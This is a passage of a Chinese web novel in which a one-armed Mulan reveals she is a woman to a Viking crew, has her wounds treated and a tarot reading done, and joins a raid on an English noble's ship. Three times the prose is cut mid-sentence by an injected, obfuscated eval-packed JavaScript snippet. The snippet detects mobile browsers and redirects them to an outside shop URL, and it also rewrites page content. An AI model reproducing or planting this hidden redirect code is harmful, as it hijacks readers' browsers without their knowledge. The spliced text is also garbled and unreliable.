奥拉夫自己也咧了咧嘴，那笑容里没什么温度：“行吧，这事儿……咱们可以慢慢说。”他挥了挥大手，像是要驱散刚才剑拔弩张的气氛。 吧台后面的老水手老板见状，嘴里咕哝了一句谁也听不懂的话，弯腰从柜台底下拖出一个陈旧但结实的木箱，抬手就朝这边扔了过来。木箱“砰”地一声落在木兰脚边，盖子震开了一条缝。 里面是码放整齐的干净亚麻绷带，几包用油纸裹着的、散发出苦味的干草药，一小罐气味刺鼻的烈酒，还有一把刃口磨得锃亮、带着倒钩的细长小刀——专门用来处理伤口、剜除腐肉或取出异物用的。 “你那破胳膊，”奥拉夫用下巴点了点木兰血迹斑斑的肩膀，“太不像样了。看着碍眼。”他转头看向一直沉默站在旁边的埃里克，“埃里克，你手还算稳。帮这小子处理一下，别让他死在老子酒桌上，晦气。” 这是明确的信号——暂且搁置争议，先处理“自己人”的伤。虽然“自己人”这个词还远远谈不上，但至少，奥拉夫不再把木兰完全当作需要立刻清除的威胁了。 埃里克没有犹豫，弯腰准备打开木箱。 就在这时，木兰却开口了，声音平静无波： “不必了。” 埃里克动作一顿。奥拉夫和其他人也看了过来。 木兰抬起独眼，目光扫过奥拉夫、埃里克，以及周围那些或好奇或不解的维京汉子，清晰地说道： “我是个女的。” …… …… 酒馆里，自这破木板房不知道多少年前搭起来开始，第一次，陷入了真正意义上的、死一般的寂静。 连壁炉里燃烧的木柴，仿佛都忘记了爆裂。 酒馆的寂静被奥拉夫一声粗哑的咳嗽打破了。他揉了揉自己杂乱的头发，目光最后落回木兰脸上。 “女的……”他重复了一遍，“行。是女的。” 维京人不管那些，一个能杀人的女人，比一个为什么杀人的谜团容易理解得多。 木兰挑明身份，也不是为了解释和害羞，只是到了该说清楚的时刻。 奥拉夫挥了挥手，像驱赶苍蝇。“埃里克，”他头也不回地喊，“这……林，交给你。管你用什么方法，把她那身破皮烂肉拾掇利索。弄完了，带她回船。” 埃里克点了下头，没说话，看着木兰用下巴指了指门口。 --- 他们没回老费尔南多那个破地方。埃里克领着木兰，穿过码头夜晚最混乱的区域，钻进另一条稍宽些的巷子。巷子尽头有栋两层木屋，窗户透着暖黄的油灯光，有更大的喧哗传出来。门口挂着块被烟熏得看不清原色的木牌，依稀是条美人鱼的形状。 掀开帘子进去，喧闹声扑面而来。这地方比老水手的窝棚大得多，也亮堂些。几张长桌挤满了各色水手，空气里劣质麦酒、汗臭和廉价香粉的味道混成一团。吧台后面站着个女人，腰身粗得像酒桶，系着条油腻的围裙，正用和她身材毫不相配的麻利动作擦拭杯子。她一头棕发胡乱盘着，脸上每道皱纹带着风霜和精明。 看到埃里克进来，她翻了个毫不掩饰的白眼，把手里的抹布往台子上一摔。 “又是你。”老板娘的声音又响又硬，“这次又是什么事？我告诉你，希尔达在忙，没空听你那些北方来的鬼故事。” 埃里克脸上没什么表情，只是侧身让出后面的木兰，指了指她左肩上那片吓人的血污。“治伤。” 老板娘皱着眉头，上下打量了木兰几眼，目光在她空荡的右袖和独眼上停了停，又瞪回埃里克身上，嘴里低声骂了句什么，像是“尽给我找麻烦”。但她没再拦着，只是不耐烦地冲着大厅角落一扇不起眼的小门摆了摆手。“快点。别弄得到处是血，洗起来麻烦。” 埃里克推开那扇厚重的木门，一股清苦的草药味立刻涌出来，盖过了外面酒馆的浊气。 --- 门后是另一个世界。 房间不大，但异常整洁明亮。墙边立着好几个到顶的榆木架子，上面分门别类摆满了东西：一排排晒干的草药束在麻绳上，颜色从灰绿到深褐；大大小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当她的上身完□□露出来时，正准备工具的希尔达回过头，手里的刮刀“当啷”一声掉在了陶盘里。 灯光下，那具躯体上的伤痕触目惊心。旧的伤疤层层叠叠。左肋下一道斜长的刀疤泛着白，右腹一个圆形的箭簇留下的凹陷痕迹颜色更深，后背靠近脊椎的地方甚至有纵横交错的、像是某种鞭挞留下的旧痕。而最新鲜的，是左肩上那个皮肉翻卷、深可见骨的刀口，以及右肩残缺断臂处附近几处较浅的、已经凝结成黑褐色血痂的划伤。 这绝非一次斗殴或偶然受伤能留下的印记。希尔达看到一副在生死线上反复打滚、被战火和暴力长时间洗礼过的身体。 希尔达倒吸了一口凉气，碧绿的眼睛睁得大大的，捂着嘴。震惊过后，是强烈的困惑和一丝怜悯“诸神啊……你……你经历过什么？” “打仗。”木兰的回答只有两个字，没有痛苦，也没有自怜，只有一片深潭似的沉寂。“很久以前了。” 希尔达定了定神，再开口时，语气里那点因惊吓而产生的犹豫消失了，变成了专注：“会有点疼，我尽量轻些。妈妈从阿拉伯商人那里换来的消毒酒，效果很好，但碰上伤口像火烧。”她一边说，一边手脚麻利地准备好干净的温水、布巾、药膏和那瓶气味刺鼻的透明液体。 处理伤口的过程漫长而细致。希尔达显然精于此道，清理、冲洗、上药、包扎，每个步骤都做得干净利落。她偶尔会问两句“这样疼吗？”“这旧伤当时没处理好，里面还有碎骨吗？”但更多时候是沉默而高效地工作。 11. 北海渡8 “好了。”最后系紧绷带时，希尔达松了口气，额头上出了一层细汗。“伤口很深，但没伤到主要筋腱。按时换药，别沾脏水，应该能好。”她收拾着器具，目光忍不住又飘向木兰身上其他那些旧伤疤，欲言又止。 希尔达绿眼睛里闪着一点试探的光：“你……要不要占卜一下？”手指向桌上剔透的水晶球与一旁装在丝绒袋中的塔罗牌，“港口的水手遇上大事，常会来找我看看前路。我是这里最好的占卜师”她笑了笑，露出两颗小小的虎牙，既是骄傲，也试图让气氛轻松些，“就当……为你这次脱险，看看接下来会遇见什么风。” 木兰看了看那副牌，又看了看希尔达眼中纯粹的好奇和善意，点了点头。“可以。” 希尔达高兴起来，她迅速洗净手，在铺着深色绒布的桌前坐下，示意木兰坐到对面。她没有立刻碰牌，而是先点燃了小巧的黄铜香炉，一缕青烟袅袅升起，是丁香与醋栗还有其它香料混合的、略带辛辣的香气。然后，她将塔罗牌从袋中取出，指尖轻抚过牌背，空气似乎都沉静了几分。水晶球在她身侧，偶尔捕捉到烛火，内里闪过一瞬星子般的微光。 她依次在绒布上摆开三张牌 第一张牌翻开时，“过去，是‘战车’，逆位。”她的声音放轻了，像怕惊扰什么，“这通常意味着……一场失控的冲突，一次代价惨重的推进，或者，看似胜利实则满目疮痍的结局。”她抬起眼，小心地观察木兰的反应。 木兰毫无波澜。 希尔达翻开第二张牌，沉默了片刻。“现在……是‘隐士’。”她的声音更轻了，几乎像耳语，“独行于黑暗，提灯寻找方向。背负着沉重的过往，与深深的自我叩问。” 最后一张牌被翻开。希尔达的呼吸停了一瞬。 牌面上，一个人被倒悬于树上，姿态却透出一种诡异的安宁——那不是超然，更像放弃了挣扎，平静地接受了自身的倒错与苦刑。 “倒吊人……”希尔达喃喃道，目光从牌面移向木兰，翡翠眸中交织着震惊与了悟，“这预示着一种自愿的牺牲，一段漫长的悬停与等待。它意味着你将经历视角的彻底颠覆——以常人难以承受、甚至视为痛苦的方式，去换取对世界更深层的洞见，或是……某种彻底的重生。”她顿了顿，声音里带着不确定，“这张牌关乎你的核心，你的旅程……或许，就是你正在经历的一切本身。” 香炉的青烟在寂静中扭曲升腾，光线似乎暗了一瞬，墙边架子上那些水晶与琥珀在昏暗中幽幽反着光，像许多只沉默窥探的眼睛。水晶球内部，一点烛火的倒影被拉长、变形，宛如瞳孔。 希尔达轻轻吸了口气，开始将牌缓缓收拢，重新裹入丝绒。占卜触及的重量让她明智地不再追问。“好了，”她的声音恢复了平时的柔和，“只是个参考。路，终究是自己走的。” 包扎完毕，木兰重新穿上那身破烂衣服——希尔达找了一件自己的旧亚麻罩衫给她暂时套在外面。离开前，希尔达送到门边，脸颊有些微红，声音压低了些，带着羞涩：“那个，如果你见到埃里克，能不能替我说声谢谢？他上次送我的那块琥珀……我很喜欢。” 木兰点了点头。 门就在这时被从外面推开了。埃里克高大的身影堵在门口，他似乎正要进来。希尔达吓了一跳，轻呼一声，下意识地侧身挡住了身后衣衫不整的木兰。 埃里克的目光却根本没往木兰身上落，而是直接看向希尔达，用维京语快速地问了句什么，语速很快，声音低沉。 希尔达愣了一下，也用流利的维京语回答，语速同样很快，音节铿锵。她摇了摇头，又补充了一句。 埃里克听完，点了点头，脸上依旧没什么表情，侧身让开了门口的路。 木兰从希尔达身后走出来，对刚才那段她听不懂的对话毫不在意，仿佛与自己无关。她道别了希尔达，然后跟着埃里克，重新投入外面码头夜晚中。 希尔达站在门内，望着他们离去的背影，翡翠般的眼睛里，好奇的神色久久没有散去。 --- 第二天，木兰被带上海狼号。 这艘维京长船停泊在码头一个相对僻静的角落，修长的船身像一头匍匐在水面的黑色海兽，船首雕刻的狼头狰狞怒目。船帆已经换新，绳索收紧，散发出焦油和海水的气味。 她被领进船尾的船长舱室。这里狭小低矮，没有窗户，只靠一盏鲸油灯照明。空气里弥漫着木头、海水、金属和体味的混合气息。墙上钉着一张磨损的海图，桌上固定着一个粗糙的木杯，旁边散落着几枚用于计算的骨质筹码。最显眼的是墙上挂着的一面旧圆盾，木质，边缘包铁，中央有一道极其深刻的凹痕，像是被沉重的战斧或利刃狠狠劈砍过。 奥拉夫背对着门口，正用一块油石打磨一柄短柄手斧。磨石摩擦钢铁的声音单调而刺耳。听到脚步声，他停下动作，但没有回头。 “把门关上。” 木兰用左手带上门。舱室里只剩下他们两人，还有那盏灯跳动的火焰。 奥拉夫转过身。酒馆里那种豪爽甚至癫狂的表情从他脸上消失了，此刻他的面容礁石，冷硬，沟壑分明，每一道纹路都透着重量。他把手斧“铛”一声扔在桌上，拉过唯一一张椅子坐下，抬眼看着木兰。 没有寒暄，没有废话。他的问题像他扔出的飞斧，直接，迅猛，瞄准要害。 “巷子里，你杀了人。”奥拉夫开口，声音在狭小空间里低沉地回荡，“我看得出来，那不是你第一次把活物变成死物。告诉我，林，或者不管你真名叫什么——你为了什么挥动刀子？为了钱？为了活命？还是什么？” 他在试探。试探她的动机是否纯粹，是否仅仅是个为了生存不择手段的亡命徒。 木兰站在光影交界处，半边脸被灯光照亮，半边隐在黑暗里。目光落在鲸油灯跳动的火苗上。 “我以前为国家战斗，”她开口，陈述一个早已冷却的事实，“但我已经死在了故乡。我杀过很多人。有些因为军令，有些是因为必须活下去。”她直视奥拉夫，“而我到达这里，是为了和爱人体面的相聚，我要带着新世界的力量回去，让我的后代自由。” 奥拉夫岩石般的脸上没有任何变化，只是眼神微微动了一下。他继续抛出第二个问题，更尖锐： “一个女人。带着一身比老战士还多的伤疤，想来维京人的长船。你想证明什么？证明你不比任何男人差？证明他们看错了你？” 他在刺探，刺探她内心是否藏着因性别或残疾而产生的愤怒与不甘，这在不测的海上是危险的隐患。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081259|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木兰微微侧头，用目光示意了一下自己空荡的右袖和包扎的左肩，动作带着一种近乎漠然的坦诚。 “我不需要向任何人证明‘不比男人差’。”她的语气里没有自傲，也没有自卑，“男人，女人，在战场上，都只是会流血、会死去的躯体。我站在这里，只因为我有你需要的东西，找到仇敌的眼睛，和完成复仇的手。”她看着奥拉夫，“这就够了。” 奥拉夫向后靠在椅背上，双手交叠放在腹部： “你说你想要新世界。但我们这次要去的地方，林，没有风景，只有铁，血，还有死亡。这不是市场，也不是商船，这是海狼。”他身体前倾，目光如锥，“准备好直视真正的地狱了吗？” 这一次，木兰的回答更快，也更清晰： “地狱？船长，我从一个用礼法、谎言编织的地狱里爬出来。海上的刀剑很直接，它至少让我知道敌人是谁，剑从哪个方向来” 海浪轻轻拍打船体的声音从木板缝隙传来。 奥拉夫忽然站起身，走到墙边，取下了那面带有深刻凹痕的旧圆盾。盾牌很沉，他单手拿着，走到木兰面前。 “这是哈拉尔的盾。”奥拉夫的声音低沉下去，带着一种沉重的东西，“我的表兄。那道痕迹，”他用粗糙的手指划过盾牌中央的凹痕，“来自一个英吉利贵族的战斧。他砍倒了哈拉尔，带着他的头盔回去，用来装饰自己的大厅，增加他升爵的资本。” 他抬起头，眼睛里燃烧着火：“我们在这里等，不是为了抢那船上的金银仪器。我们要找到那面绣着他家纹章的船帆，用他的血，涂上我们的印记。我们要把他那些趾高气扬的护卫扒光了扔回岸上，让所有人都知道——海狼记得每一个兄弟，荣誉和仇恨，只能用血来洗刷。” 他将沉重的盾牌往前一递。 “拿着。” 木兰伸出左手，接住了盾牌。盾牌的重量和冰冷透过掌心传来，上面那道凹痕硌着她的手。 “‘海狼号’上多了一个战士。”奥拉夫宣布，声音恢复了船长的威严，“但记住，林，盾牌为你挡开死亡，也要求你用命去守护同伴的后背。上了船，就没有男人女人，只有兄弟和敌人。” 他走到桌边，抓起那张简陋的海图，用手指在上面点了某个位置。 “明天破晓，启航。你的位置，”他抬起头，目光锐利，“在埃里克的左侧。你的右边，交给他。” 说完，他不再看木兰，转身重新拿起油石和手斧，刺耳的打磨声再次响起，仿佛刚才那场决定命运的对话从未发生。 木兰左手提着那面沉重的旧盾，看了看手中盾牌上那道深刻的伤痕。然后，她转身，推开舱门，走了出去。 甲板上海风带着咸腥气息扑面而来。远处，夕阳正将里斯本港染成一片血色。 甲板上忙碌的维京船员们，看到她手中那面属于哈拉尔的盾牌时，手上的动作都顿了顿。没有人说话，但那些原本带着审视、轻蔑或好奇的目光，渐渐发生了变化。 多了一份沉默的认可。 她知道，从这一刻起，她不再是需要被看管的异乡人，她是一个持着逝者盾牌，被船长亲自指定的战士。 她的位置，在埃里克的左侧。她的背后，将交给这群为复仇而咆哮的海狼。 12. 北海渡9 里斯本的灯火在身后沉入海平线时，海狼号的桨声整齐如心跳。 木兰站在左舷第三桨位，埃里克的左侧。空荡的右袖用皮绳扎紧在腰间，左臂握桨的肌肉绷紧又放松，早已适应了长距离划行的节奏。海风咸涩，这是血与火之前最后的宁静。 “收桨。” 奥拉夫的声音从船尾传来，不高，却像礁石砸进海浪，每个人都听见了。 四十二支桨同时提起，水珠从桨叶滑落，在凌晨的微光中泛着冷银色。海狼号借着惯性滑入一片稀疏的海雾，像一头收起爪牙的狼。 船长舱室低矮得需要弯腰进入。鲸油灯挂在中央横梁上，火苗被船身细微的晃动拉扯出摇曳的影子。奥拉夫、埃里克、掌舵的老斯文、还有另外三个脸上带着刀疤的核心桨手长已经围坐在粗糙的木桌旁。桌上摊开一张海图，边缘磨损，墨迹被反复摩挲得有些模糊。旁边放着块炭笔，还有几张粗糙的草纸。 “坐。”奥拉夫用下巴点了点桌边空出的位置。 “还有十二小时。”奥拉夫的手指按在海图上某个点，指甲缝里嵌着洗不净的焦油黑，“蓟花号，三桅横帆，英格兰船厂去年下水的新货。船身包铜，比我们长出一半，载着六十个全副武装的家丁，还有十架弩炮。” 他的目光扫过每个人，最后停在木兰脸上。 “林，你是新人。但今天这场仗，你要站在最险的位置。”奥拉夫说，“所以你得知道我们怎么打，为什么这么打。” “你说。”木兰的声音同样平静。 “力量悬殊。”奥拉夫摊开手掌，又握成拳，“他们的船是移动的城堡，我们的长船是海鸥。正面冲撞，我们会像鸡蛋碰石头。” 他抓起炭笔，在草纸上划出一条弧线。线条粗犷，但意思明确。 “但海鸥能贴岸飞行，能逆风走‘之’字。蓟花号不行。它笨重，转向慢。这就是机会。” “接舷的薄弱点。”木兰反复观摩着图中的船体，“船尾舵机附近？” 奥拉夫点头，用炭笔在草纸上的船尾部位画了个圈。“连接处。舵杆穿出船壳的地方，还有尾楼和主甲板的接缝——这些地方结构最复杂，也最难守。” 他用笔尖戳了戳那个圈。 “问题在于，敌人也知道这里是弱点。所以他们在尾楼两侧安排了火枪手。”奥拉夫看向木兰，“你知道火门枪吗？” “听说过。”木兰说，“声大，烟浓，精准度差，装填慢。” “慢？”奥拉夫短促地笑了一声，“慢到够我们冲过三十步的距离，砍下三个脑袋。但它第一轮齐射的声音——”他模仿了一声闷雷般的轰响，舱室里的火苗都颤了颤，“没听过的人，会慌。一慌，阵型就乱。” 木兰沉默片刻。“所以我们要在他们开枪前，先让他们乱。” “怎么乱？” “佯攻。”木兰说，“派一小队从船头或侧舷制造动静，吸引注意。主力从另一侧接舷。但这样做，分兵会削弱主攻力量。” 奥拉夫点头，又摇头。“不够。蓟花号的船长不是蠢货。他一定会留足人手守尾楼。” 空气安静了一瞬。桨叶划过水面的声音从舱壁外传来，单调而持续。 “如果……”木兰缓缓开口，“如果我们不‘攻’尾楼，而是‘贴’上去呢？” 几个桨手长互相看了一眼。埃里克一直没说话，此刻抬起冰蓝色的眼睛。 “说清楚。”奥拉夫说。 “船尾包铜，光滑，无钩挂处。”木兰重复奥拉夫早先的判断，“但若攀爬者不用钩，用‘黏’呢？用浸透焦油、裹了细沙的湿牛皮覆身，贴在铜壁上慢慢挪。我身形瘦小，独臂不易失衡，可以在最暗的阴影里执行。” 她心里补完了后半句——此谓《孙子兵法》中“以正合，以奇胜”。奥拉夫率主力正面强攻为“正”，她贴尾奇袭为“奇”。 舱室里只有鲸油灯芯燃烧的细微噼啪声。 老斯文先笑起来，露出缺了门牙的牙床。“小个子想当壁虎？” “这是目前最好的潜入方式”木兰说。 奥拉夫盯着她，眼神像在掂量一块未经淬火的铁。“就算你能爬上去，然后呢？尾楼甲板至少有两个哨兵，可能有火枪。” “我不杀哨兵。”木兰说，“我割断传令钟的绳子。” 这句话让所有人都明白了。 蓟花号的指挥系统依赖铜钟传令。不同节奏代表不同指令：接敌、转向、集火、撤退。一旦钟绳被断，整条船就会变成聋子和哑巴。 “钟房在尾楼第二层，靠近舵轮室。”埃里克突然开口，声音低沉，“从外壁爬，要经过两扇舷窗。如果里面有人——” “那就等你们在主甲板打响。”木兰接道，“战斗一起，所有人的注意力都会在前方。舷窗里的人要么去参战，要么在观望战况。那是我翻进去的最佳时机。” 奥拉夫向后靠去，椅子发出不堪重负的呻吟。他粗大的手指在桌面上敲击，像在计算什么。 “计划可行。”他终于说，“但细节要补足。” 他转向埃里克：“你带四个人，不从主甲板攻。趁接舷混乱，从船身中段水下潜入。蓟花号的底舱有应急排水口，尺寸够一个瘦子钻进去。你们的目标是底舱通往主甲板的楼梯，占住，制造混乱，让上面的人以为船要沉了。” 埃里克点头。 “林，你带两个最灵巧的，坐小艇贴船尾。湿牛皮的准备，斯文你来办。”奥拉夫看向老舵手，“要浸透焦油，掺粗海沙，不能太厚影响活动。” “明白。” “主力接舷时，”奥拉夫的目光变得锐利，“所有人用湿布塞耳。火枪一响，立刻吼——用你们最大的声音吼！吼声要压过枪声！冲锋时盾阵故意散乱，诱他们早早发射。记住，火枪装填要一分钟以上。那一分钟，就是我们的时间。” 他站起来，高大的身影几乎顶到舱顶。 “都清楚了？” “清楚了。”众人应道。 “那就去准备。”奥拉夫挥了挥手，“日落前，我们要咬住蓟花号的尾巴。” 众人鱼贯而出。木兰正要离开，奥拉夫叫住了她。 “林。” 她转身。 奥拉夫从墙上取下那面属于哈拉尔的旧盾，递过来。“你今天不用这个。攀爬带盾是累赘。”他顿了顿，“但我要你记住你为什么拿着它。” 木兰接过盾。木质的盾身被摩挲得温润，中央那道深刻的凹痕硌着掌心。 “我记得。”她说。 --- 同一时刻，向西三十海里，蓟花号正以满帆姿态航行在地平线边缘的鎏金光晕里。 夕阳将云层染成血橙与暗金交错的绸缎，海面平静如一块巨大的、微微起伏的琉璃。船首破开波浪的声音规律而沉闷，像巨兽沉睡的呼吸。 尾楼船长室里，理查·德·克莱尔伯爵次子正对着镶嵌象牙的穿衣镜调整他的拉夫领。 领子是威尼斯蕾丝与细亚麻的混合体，浆洗得过分挺括，边缘用金线绣着细密的克莱尔家族纹章——三只交错的猎犬。他调整了三次，领口依然像一副精心打造的刑具，紧紧箍着脖颈。 “该死。”他低声咒骂，手指摩挲着颈侧被磨红的皮肤。 镜中的男人有一张符合贵族审美的脸：苍白的皮肤，浅棕色头发用发蜡整齐梳向脑后，下巴刻意蓄起的小胡子修剪得一丝不苟。但他眼睛里有些东西破坏了整体的和谐——一种焦躁的、时刻在算计的微光，像赌徒在开牌前最后一瞬的眼神。 他转身，猩红双排扣外套的下摆扫过铺在脚下的波斯地毯。地毯是赝品，染料在边缘处已有些许褪色，但他坚持要铺——这是“体面”。 桌上摆着银制酒具，一瓶产自波尔多的红葡萄酒已经打开。他没倒酒，而是走到舷窗边，望向海面。 “还有两天……”他喃喃自语。 两天后，蓟花号将抵达朴茨茅斯港。船舱底层，那十二只贴着“威尼斯精密仪器——易碎”标签的木箱将卸下，送往财政部某位要员的私宅。标签是假的，箱子里当然没有什么仪器。真正的货物，藏在底舱最深处那个用厚重帆布围起来的水池里。 理查的指尖无意识地摩挲着左手无名指上的戒指。红宝石是劣等货，色泽暗沉，镶工粗糙，但他从不摘下。这是他父亲——老克莱尔伯爵——在他去年“处理”了那艘误入家族海域的维京商船后赏赐的。 “纪念你的第一次胜利。”父亲当时说，语气平淡得像在谈论天气。 胜利。 理查闭上眼睛。记忆如潮水般涌来，带着北海咸腥的风和血锈的气味。 那是一年前，在设得兰群岛附近。一艘维京长船误入了克莱尔家族特许的捕捞海域。理查率领两艘快艇拦截。维京人没有逃跑，反而调转船头迎了上来。 谈判时，那个红胡子的头领站在船首，声音像滚雷：“误会。我们是商船， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081260|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 航向有偏，这就离开。” 理查当时看着那人——高大，强壮，赤着的胸膛上布满战疤，眼神里没有畏惧，只有一种坦荡的、近乎傲慢的自信。那种自信刺痛了理查。一个蛮子，凭什么这样看他？ 他本来可以放他们走。但他没有。 “闯入克莱尔家的海域，就是挑衅。”理查说，声音刻意拔高，“放下武器，接受检查。” 红胡子沉默了片刻，然后笑了。“检查？可以。但你要保证我们货物的安全。” “我保证。”理查说，同时给身后的副手使了个眼色。 维京人开始放下武器。就在他们的武器堆在甲板上，警惕最松懈的时刻，理查挥手下令攻击。 战斗是一边倒的屠杀。失去了武器的维京人像困兽般搏斗，用拳头，用牙齿，用随手抓起的木棍。但面对全副武装的士兵，反抗只是拖延死亡时间。 理查记得最清楚的，是最后时刻。红胡子身上插了三支箭，背靠桅杆，手里握着从敌人那里夺来的短斧，周围躺着七个克莱尔家的士兵。他喘着粗气，血从嘴角流下，但眼睛依然愤怒如火。 理查是在那时出手的。 他从后方靠近，手里握着一把原本用于破门的钉头锤。红胡子正格开正面刺来的长剑，后背空门大开。理查抡起锤子，用尽全身力气砸下去。 骨头碎裂的声音很闷，像砸开一个熟透的南瓜。 红胡子向前踉跄，但没有倒下。他转过身，血从头顶汩汩流下，漫过眼睛。他看着理查，那双蓝色的眼睛，没有恐惧，只有一种深深的不甘。 然后他倒下了。 理查割下了他的头颅，用石灰处理后带回英吉利。那头颅如今还挂在他乡间宅邸的狩猎厅里，旁边是鹿角和野猪头。一起带回的，还有维京船上的货物。 “野蛮人……”理查轻声说，嘴角扯出一个弧度。 他转身离开舷窗，走到桌边，终于倒了一杯酒。深红色的液体在银杯中晃动，像凝固的血。 敲门声响起。 “进。” 进来的是大副，一个脸色蜡黄、总像在忍气吞声的中年人。“大人，瞭望台报告一切正常。风速稳定，预计后天正午抵港。” “很好。”理查抿了一口酒，“让火枪队今晚再演练一次齐射。我要他们开枪时的声音，能让魔鬼都捂耳朵。” “是。”大副迟疑了一下，“大人，关于船尾的防御……是否要加强？毕竟那里是——” “那里很高。”理查打断他，语气里带着不耐烦的优越感，“维京人划的是长船，低矮得像浮在水面的木片。他们要接舷，只能从和我们差不多高的侧舷爬，或者从更低的船头。爬尾楼？那得先长出翅膀。” 他晃了晃酒杯：“况且，尾楼两侧各有两名火枪手。他们敢露头，铅弹就会打穿他们的脑袋。” 大副还想说什么，但看到理查的眼神，把话咽了回去。“是，大人。” “底舱那个‘水池’呢？”理查压低声音，“情况怎么样？” “稳定。一直在换水，喂食也按您吩咐的，切碎的小鱼和贝类。”大副顿了顿，“只是那东西……一直很安静，几乎不动。负责看守的水手说，看着瘆人。” “瘆人？”理查冷笑，“等它到了伦敦，进了那位大人的私人水族馆，换来的金子能让你们所有人闭嘴。看好它，别出岔子。” “是。” “去吧。”理查挥挥手，“告诉所有人，这次航行结束，每人多赏三个月薪水——如果我们遇到维京海盗的话。” 门关上了。 理查走到墙边，取下挂在挂钩上的短管手铳。这是他的私人收藏，由伦敦最好的枪匠定制，枪管比制式火门枪短三分之一，镶嵌银丝雕花，胡桃木枪托打磨得温润如玉。他称之为“淑女杀手”。 他打开火药壶，用计量勺舀出恰好一份细磨□□，倒入枪管。然后是浸过蜡的亚麻布包裹的铅弹，用通条压实。最后，在火门上安置一小片引火药，盖上防潮铜盖。 整个过程耗时一分二十秒。他已经演练过上百次。 “要是真能遇上海盗”他低声说，手指抚过枪身上的雕花，“该多好。 窗外，最后一缕夕阳沉入海平线。黑暗从东方漫上来，吞没了天光。 蓟花号点亮了船灯，像一颗在黑色绒布上缓慢移动的琥珀。 它不知道，三十海里外，四十二双眼睛正透过渐渐浓重的海雾，盯着它的光。 13. 北海渡10 海狼号收起船帆，仅靠十六对桨无声划行。 桨叶入水的角度经过精心调整，几乎不溅起水花。每个桨手嘴里都含着浸湿的布条，不是为了塞耳，而是为了抑制呼吸声。船身涂了混入木炭粉的焦油，在暮色中像一块漂浮的礁石阴影。 奥拉夫站在船首狼头雕刻下，双手拄着一柄双刃战斧。他没穿盔甲，只套了件厚实的浸油皮革背心，粗壮的手臂裸露在外，肌肉在紧绷时像绞紧的缆绳。 “看见光了吗？”他低声问。 瞭望手趴在桅杆横桁上，像只蓄势待发的蜘蛛。“一点钟方向，距离三里。” “速度？” “满帆顺风，不快不慢。” 奥拉夫点头，转向掌舵的老斯文。“绕到它的东南方。我们要从背光处切入。” “明白。” 海狼号开始转向。桨手们调整节奏，船身划出一道平滑的弧线，绕过一片稀疏的雾带，悄无声息地接近蓟花号的右后侧——那是夕阳最后余晖的方向，也是瞭望视线最盲目的死角。 木兰蹲在左舷边，检查身上覆着的湿牛皮。老斯文的手艺不错，牛皮浸透了焦油，表面粗糙地撒了一层细海沙，摸上去像蜥蜴的皮。她活动了一下左肩，刀伤已经结痂，绷带缠得很紧，不影响动作。 埃里克在她旁边，正用磨石最后擦拭斧刃。他的动作很慢，很专注，像在完成某种仪式。 “底舱入口在水线下三尺。”他忽然开口，声音压得很低，“圆形，直径两尺，有铁栅栏。我们要用撬棍。” “几个人守？”木兰问。 “不会多。底舱是货仓和水手铺位，战斗时大部分人会上甲板。”埃里克停下动作，眼睛在暮色中显得格外冷冽，“你那边呢？” “小艇准备好了。托尔和哈肯跟我。”木兰说的两个人是船上最瘦小的桨手，攀爬好手，“等你们在主甲板打响，我们就贴尾楼。” 埃里克点点头，没再说话。他收起磨石，将战斧插回腰后的皮套，开始检查随身装备：两把短柄手斧，一把匕首，一捆绳索，还有一小包用油布裹着的火绒，必要时可以放火。 船身忽然轻轻一震。 “到了。”奥拉夫的声音从前传来，像从喉咙深处滚出的闷雷。 所有人都抬起头。 三百步外，蓟花号的轮廓在暮色中清晰起来。它确实像一座移动的城堡，三层甲板，高耸的尾楼在渐暗的天光中投下沉重的阴影。船身包铜处反射着最后一缕天光，像巨兽鳞片。侧舷的炮窗开着，弩炮的绞盘隐约可见。 甲板上有人影走动，但不多。晚餐时间，大部分人在下层舱室。 奥拉夫举起右手，五指张开。 桨手们轻轻提桨，让船速减缓，保持与目标相同的航向和速度。海狼号像一条耐心的鲨鱼，游弋在猎物的影子中。 时间一点点流逝。海风转凉，带着夜晚的湿气。远处，蓟花号的船钟敲响，清脆的铜音在海面上荡开——八响，换班时间。 甲板上的人影多了起来。火把被点燃，插在船舷两侧的支架上，跳动的火光将船身轮廓勾勒得更加分明。 “就是现在。”奥拉夫放下手。 几乎同时，埃里克和另外三个维京战士悄无声息地滑入海中，连水花都极小。他们嘴里叼着芦苇杆，向蓟花号的船身中段潜去。 木兰看着他们消失在黑暗的水面下，然后转向船尾。托尔和哈肯已经将小艇放下水，正在调整位置。 “走。”她说。 三人顺着绳索滑入小艇。托尔操桨，哈肯准备抓钩和绳索。小艇像一片落叶，悄无声息地漂向蓟花号高耸的船尾。 距离拉近到五十步时，木兰看清了尾楼外壁的细节。英格兰玫瑰与苏格兰蓟花的浮雕在暮色中凹凸分明，花瓣与叶片的转折处形成天然的抓握点。两扇舷窗透出暖黄的光，里面有人影晃动。 